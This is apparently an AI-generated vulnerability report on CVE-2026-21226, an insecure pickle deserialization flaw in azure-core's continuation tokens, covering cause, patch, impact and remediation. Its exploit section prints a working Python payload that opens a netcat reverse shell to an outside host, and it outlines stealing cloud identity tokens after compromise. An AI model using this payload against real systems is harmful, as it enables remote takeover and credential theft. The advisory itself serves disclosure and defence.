CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-21226

Pickled Sky: Unrestricted RCE in Azure Core for Python

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 20, 2026·7 min read·121 visits

Executive Summary (TL;DR)

The Azure Core library for Python was catching state in 'continuation tokens' using the unsafe `pickle` format. By crafting a malicious token, an attacker can force the library to deserialize arbitrary code, leading to RCE. Patched in version 1.38.0.

A critical insecure deserialization vulnerability in the `azure-core` Python library allows for Remote Code Execution (RCE). The library, which serves as the foundation for nearly all Azure SDKs, used Python's `pickle` module to serialize continuation tokens for paging and long-running operations. Attackers can supply malicious tokens to trigger arbitrary code execution.

The Hook: Clouds Built on Fragile Ground

In the modern cloud ecosystem, abstraction is king. Developers don't want to think about HTTP retries, authentication handshakes, or the nitty-gritty of pagination. They just want to call client.list_blobs() and iterate through the results. Enter azure-core, the unsung hero (and essentially the circulatory system) of the Microsoft Azure SDK for Python. If you are using azure-storage, azure-identity, or azure-mgmt, you are using azure-core. It handles the plumbing so you don't have to.

One of the specific plumbing features azure-core manages is the concept of Continuation Tokens. When you ask Azure for a list of a million resources, it doesn't send them all at once. It sends a page, and a bookmark—a token—that says, 'If you want the next page, show me this token.' It's a standard pagination pattern. State is offloaded to the client, effectively making the server stateless regarding your specific iteration cursor.

The problem arises in how that bookmark was constructed. Ideally, a continuation token is an opaque string, a simple JSON object, or a signed hash. But in a classic case of 'it works on my machine' architectural shortcuts, the developers opted for Python's native serialization format: pickle. And if you've been in the security game for more than five minutes, seeing the word pickle in a library designed to handle data crossing trust boundaries should make your blood run cold.

The Flaw: The Forbidden Fruit of Serialization

The vulnerability (CWE-502) here is textbook insecure deserialization. Python's pickle module is explicitly not secure against erroneous or maliciously constructed data. The documentation literally comes with a warning box that says 'Never unpickle data received from an untrusted or unauthenticated source.' Yet, that is exactly what azure-core was doing.

Here is the logic flow that led to disaster:

  1. A user initiates a Long-Running Operation (LRO) or a paged query.
  2. The library needs to pause and give the user a way to resume later.
  3. The library takes its internal state object, runs it through pickle.dumps(), base64-encodes it, and hands it to the user as a token.
  4. Later, the user provides that token back to resume the operation.
  5. The library takes the token, base64-decodes it, and feeds it directly into pickle.loads().

The fatal flaw is assuming that the token coming back from the client is the same one the server sent out. In a web application where these tokens might be exposed to the end-user (e.g., via a URL parameter ?nextPage=...), an attacker is not bound by honor to return the original token. They can return anything.

Because pickle is a stack-based virtual machine capable of constructing arbitrary objects during reconstruction, an attacker doesn't need to guess the internal state structure. They just need to construct a pickle stream that defines a class with a __reduce__ method. When the pickle machine encounters this, it executes the specified callable—typically os.system or subprocess.Popen—giving the attacker code execution running with the privileges of the Python process.

The Code: Autopsy of a Vulnerability

Let's look at the smoking gun. While the actual library code is complex, the vulnerability boils down to a few lines in the paging and polling modules. The commit that killed this bug is 6d2e6431ea0991861640e449e51e894247a7771a. It’s a massive refactor, which tells us that ripping out pickle wasn't easy.

The Vulnerable Pattern (Conceptual):

import pickle
import base64
 
class VulnerablePager:
    def get_continuation_token(self):
        # Serialize the entire state object. Easy!
        return base64.b64encode(pickle.dumps(self._internal_state))
 
    def load_from_token(self, token):
        # Deserialize blindly. What could go wrong?
        data = base64.b64decode(token)
        self._internal_state = pickle.loads(data) # <--- BOOM

The Fix (v1.38.0): The patch completely removes pickle from the equation. Instead of serializing arbitrary Python objects, the new implementation strictly defines the data it needs to restore state and serializes it using safe formats (like JSON) or internal logic that validates the structure before assignment.

> [!NOTE] > The fix wasn't just a one-line change. It required changing how azure-core thinks about state persistence, ensuring that only data (strings, ints) is stored, rather than executable code objects.

The Exploit: Cooking a Malicious Pickle

Exploiting this is trivially easy for anyone familiar with Python internals. We don't need buffer overflows or heap grooming. We just need to define what we want Python to do when it sees our data.

The Scenario: Imagine a web application that uses the Azure SDK to list storage blobs. It exposes a continuation_token parameter in the URL to let users page through files.

GET /list_files?token=BaSe64StRiNg...

The Attack:

  1. Craft the Payload: We create a Python script to generate our 'token'.
import pickle
import base64
import os
 
class Exploit(object):
    def __reduce__(self):
        # The command to run on the target server
        cmd = ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|' 
               '/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f')
        return (os.system, (cmd,))
 
# Generate the malicious token
payload = pickle.dumps(Exploit())
token = base64.b64encode(payload).decode()
print(f"Malicious Token: {token}")
  1. Delivery: The attacker sends the generated base64 string to the vulnerable endpoint. GET /list_files?token=gASV...

  2. Execution: The application receives the token, passes it to azure-core to 'resume' the listing. azure-core decodes it and passes it to pickle.loads(). The __reduce__ method fires immediately during deserialization, executing the reverse shell command. The application hangs (or crashes), but the attacker now has a shell on the server.

The Impact: From Pagination to Pwnage

Why is this a 7.5 (High) and not a critical 10? The CVSS score is slightly tempered by Attack Complexity (High) and Privileges Required (Low). This is because the attacker needs to find an entry point where they can feed a token into the library.

However, in a real-world assessment, the impact is catastrophic:

  • Cloud Identity Theft: Most code running azure-core is running inside Azure (Functions, App Service, AKS) with a Managed Identity. If I get RCE on your pod, I can query the Instance Metadata Service (IMDS), steal your Managed Identity token, and pivot into your Azure subscription. I am now your cloud admin.
  • Data Exfiltration: Since this library is used for storage and database management, the process likely has access to sensitive data. An attacker can simply read environment variables (connection strings!) and exfiltrate them.
  • Supply Chain Effect: This isn't just one app. It's every Python app interacting with Azure that exposes pagination to users. It's a massive surface area.

The Fix: Remediation and Lessons Learned

The remediation is straightforward but urgent.

Immediate Action: Upgrade azure-core to version 1.38.0 or later immediately.

pip install --upgrade azure-core

Verify the Fix: Check your dependency tree. Often azure-core is a transitive dependency (installed by azure-storage-blob or azure-identity). Ensure the resolved version is safe.

pip freeze | grep azure-core

The Lesson: This vulnerability serves as a stark reminder of the dangers of convenience. pickle is convenient. It saves developers from writing serialization schemas. But convenience in security is often synonymous with vulnerability. If you are serializing data to be held by a client, assume the client is a hostile actor. Never use pickle, Marshal, or Java Serialization for data crossing trust boundaries. Stick to JSON, or if you must use binary formats, sign them cryptographically (HMAC) and validate the signature before deserialization.

Official Patches

MicrosoftAzure Core v1.38.0 Release Notes

Fix Analysis (1)

Technical Appendix

CVSS Score
7.5/ 10
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
4.50%
Top 15% most exploited

Affected Systems

Azure SDK for PythonAzure CLI (if using affected core)Python Applications using Azure StoragePython Applications using Azure Management Libraries

Affected Versions Detail

Product
Affected Versions
Fixed Version
azure-core
Microsoft
< 1.38.01.38.0
AttributeDetail
CWE IDCWE-502 (Deserialization of Untrusted Data)
CVSS v3.17.5 (High)
Attack VectorNetwork
Privileges RequiredLow
ImpactRemote Code Execution (RCE)
Affected Componentazure-core < 1.38.0

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059.006Command and Scripting Interpreter: Python
Execution
T1553Subvert Trust Controls
Defense Evasion
CWE-502
Deserialization of Untrusted Data

The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.

Known Exploits & Detection

MetasploitPython Pickle RCE Module (Generic)
Internal ResearchPoC demonstrating continuation token manipulation
NucleiDetection Template Available

Vulnerability Timeline

Fix merged in GitHub PR #44609
2026-01-08
azure-core 1.38.0 released on PyPI
2026-01-12
CVE-2026-21226 and GHSA-jm66-cg57-jjv5 published
2026-01-13

References & Sources

  • [1]Microsoft Security Response Center Advisory
  • [2]GitHub Advisory Database

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 3 hours ago•CVE-2025-6965
7.7

CVE-2025-6965: Remote Code Execution via Integer Truncation in SQLite Aggregate Parser

An integer truncation vulnerability (CWE-197) exists in SQLite before version 3.50.2 during the processing of aggregate queries with more than 32,767 distinct column references. This causes an internal 32-bit counter to truncate to a signed 16-bit integer, producing negative values that cause out-of-bounds heap operations in release builds.

Amit Schendel
Amit Schendel
5 views•6 min read
•about 19 hours ago•CVE-2026-47291
9.8

CVE-2026-47291: Remote Code Execution in Windows HTTP.sys Kernel Driver

An integer overflow vulnerability in the Windows kernel-mode HTTP driver (HTTP.sys) allows an unauthenticated remote attacker to execute arbitrary code with kernel privileges or cause a Denial of Service via a specially crafted sequence of HTTP request headers.

Amit Schendel
Amit Schendel
14 views•8 min read
•about 21 hours ago•CVE-2026-11822
7.8

CVE-2026-11822: Memory Corruption and Buffer Overflow in SQLite FTS5 Extension

A memory corruption vulnerability exists in the FTS5 (Full-Text Search 5) extension of SQLite prior to version 3.53.2. An attacker can construct a malicious database file containing corrupt FTS5 page data. Querying this database triggers out-of-bounds reads and heap-based buffer overflows, potentially causing a crash or arbitrary code execution.

Amit Schendel
Amit Schendel
7 views•5 min read
•1 day ago•CVE-2026-56350
6.3

CVE-2026-56350: SSO Enforcement Bypass in n8n via API Parameter Pollution / Mass Assignment

A mass assignment vulnerability (CWE-915) in n8n's self-service settings API endpoint (PATCH /me/settings) allows authenticated Single Sign-On (SSO) users to disable SSO enforcement for their accounts by injecting administrative parameters. This bypasses organizational identity provider controls and multi-factor authentication (MFA).

Amit Schendel
Amit Schendel
8 views•6 min read
•5 days ago•CVE-2026-55699
6.5

CVE-2026-55699: Arbitrary Directory Deletion via Path Traversal in pnpm globalBinDir Resolver

CVE-2026-55699 (also identified as GHSA-4gxm-v5v7-fqc4) is a critical path traversal and arbitrary directory deletion vulnerability in the pnpm package manager. The issue exists because the manifest validation process fails to prevent relative path segments within the package 'bin' keys. When a malicious package containing structured path traversal markers is globally installed and later manipulated, pnpm resolves the target paths through path.join() and passes the resolved paths to a recursive deletion function, resulting in arbitrary directory removal.

Amit Schendel
Amit Schendel
23 views•6 min read
•5 days ago•CVE-2026-55700
7.1

CVE-2026-55700: Path Traversal and Arbitrary File Write in pnpm stage download

A path traversal vulnerability in pnpm stage download allows malicious registries or compromised package manifests to overwrite arbitrary files on the victim's filesystem via unvalidated package name and version fields.

Alon Barad
Alon Barad
16 views•4 min read